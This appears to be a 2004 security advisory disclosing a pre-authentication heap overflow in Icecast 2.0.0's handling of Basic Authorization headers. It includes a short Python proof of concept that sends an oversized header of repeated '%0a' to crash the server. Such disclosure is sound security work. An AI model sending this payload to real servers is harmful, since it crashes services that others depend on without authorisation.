There exists a remotely exploitable heap overflow in Icecast 2.0.0. The bug exists in the handling of base64 Authorization request. This bug was found in about 40 seconds during a HTTP audit of the web component of Icecast with the fuzzer SMUDGE (http://felinemenace.org/~nd/SMUDGE/)
People complained that the last Icecast bugs weren't preauth. This one is. Attached is a simple python script to reproduce the bug on the Windows platform. Our tests confirmed that some tweaking will crash linux version although this was not verified by the Icecast team. Vendor == notified. On another note tis signifies the first release from the UBC. thanks, nd. -- http://felinemenace.org/~nd
# will crash windows IceCast 2.0.0 # [EMAIL PROTECTED], 2004 import socket req = "GET /admin/ HTTP/1.0\r\n" req += "Connection: Keep-Alive\r\n" req += "User-Agent: Mozilla/4.76 [en] (X11; U; Linux 2.4.2-2 i686)\r\n" req += "Host: 169.254.165.132:8000\r\n" req += "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*\r\n" req += "Accept-Encoding: gzip\r\n" req += "Accept-Language: en\r\n" req += "Accept-Charset: iso-8859-1,*,utf-8\r\n" req += "Authorization: Basic " + ("%0a" * 3000) s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("127.0.0.1",8000)) s.send(req)